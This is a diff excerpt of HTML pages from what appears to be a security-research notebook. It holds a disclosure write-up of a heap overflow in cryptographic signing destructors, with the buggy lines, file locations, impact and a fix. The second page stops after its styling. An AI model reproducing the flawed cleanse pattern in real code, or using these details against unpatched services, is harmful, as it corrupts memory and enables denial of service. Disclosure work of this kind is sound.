| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/02-destructor-heap-overflow-P2/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Finding 02: Heap Buffer Overflow in Signing Data Destructors | Zion Boggan"> | |
| + | <meta property="og:description" content="Heap overflow in destructor path."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/02-destructor-heap-overflow-P2/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Finding 02: Heap Buffer Overflow in Signing Data Destructors | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Heap overflow in destructor path."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Finding 02: Heap Buffer Overflow in Signing Data Destructors","description":"Heap overflow in destructor path.","url":"https://zionboggan.com/security-research-notebook/02-destructor-heap-overflow-P2/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Memory safety</div> | |
| + | <h1>Finding 02: Heap Buffer Overflow in Signing Data Destructors</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Severity: P2 (High), Memory corruption in signing hot path</h2> | |
| + | <h2>Summary</h2> | |
| + | <p>Two struct destructors use <code>sizeof(entire_struct)</code> instead of <code>sizeof(scalar_field)</code> as the length for <code>OPENSSL_cleanse()</code>, causing a 320-byte heap overwrite past the intended 32 bytes. This corrupts STL container internals (<code>std::vector</code>, <code>std::map</code>) before their destructors run, causing undefined behavior on every signing session cleanup.</p> | |
| + | <h2>Locations</h2> | |
| + | <h3>Instance 1: <code>ecdsa_preprocessing_data</code></h3> | |
| + | <ul> | |
| + | <li><strong>File:</strong> <code>include/cosigner/cmp_ecdsa_signing_service.h</code>, line 85</li> | |
| + | <li><strong>sizeof(k.data):</strong> 32 bytes</li> | |
| + | <li><strong>sizeof(ecdsa_preprocessing_data):</strong> 352 bytes</li> | |
| + | <li><strong>Overwrite:</strong> 320 bytes past k.data</li> | |
| + | </ul> | |
| + | <pre><code class="language-cpp">~ecdsa_preprocessing_data() {OPENSSL_cleanse(k.data, sizeof(ecdsa_preprocessing_data));} | |
| + | </code></pre> | |
| + | <h3>Instance 2: <code>asymmetric_eddsa_signature_data</code></h3> | |
| + | <ul> | |
| + | <li><strong>File:</strong> <code>include/cosigner/asymmetric_eddsa_cosigner_server.h</code>, line 33</li> | |
| + | </ul> | |
| + | <pre><code class="language-cpp">~asymmetric_eddsa_signature_data() {OPENSSL_cleanse(k.data, sizeof(asymmetric_eddsa_signature_data));} | |
| + | </code></pre> | |
| + | <h2>Impact</h2> | |
| + | <ul> | |
| + | <li>Fires on EVERY ECDSA and asymmetric EdDSA signing operation</li> | |
| + | <li>Zeroes STL container internals (vector pointers, map tree nodes) before destructors run</li> | |
| + | <li>Memory leak: heap allocations for vector/map data never freed</li> | |
| + | <li>UB per C++ standard: destructors operate on corrupted state</li> | |
| + | <li>In long-running MPC signing service: gradual memory exhaustion → DoS</li> | |
| + | </ul> | |
| + | <h2>PoC</h2> | |
| + | <p><code>poc/02-destructor-overflow-v2.cpp</code>, demonstrates the 352 vs 32 mismatch and leaked allocations.</p> | |
| + | <h2>Remediation</h2> | |
| + | <pre><code class="language-cpp">~ecdsa_preprocessing_data() { | |
| + | OPENSSL_cleanse(&k, sizeof(elliptic_curve256_scalar_t) * 6 + sizeof(elliptic_curve256_point_t)); | |
| + | } | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/fireblocks/02-destructor-heap-overflow-P2.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,251 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Finding 03: MTA Batch Ring Pedersen Verification Uses 8-bit Randomness | Zion Boggan</title> | |
| + | <meta name="description" content="MtA batch verification uses 8 bits of randomness, allowing forged batches with non-negligible probability."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
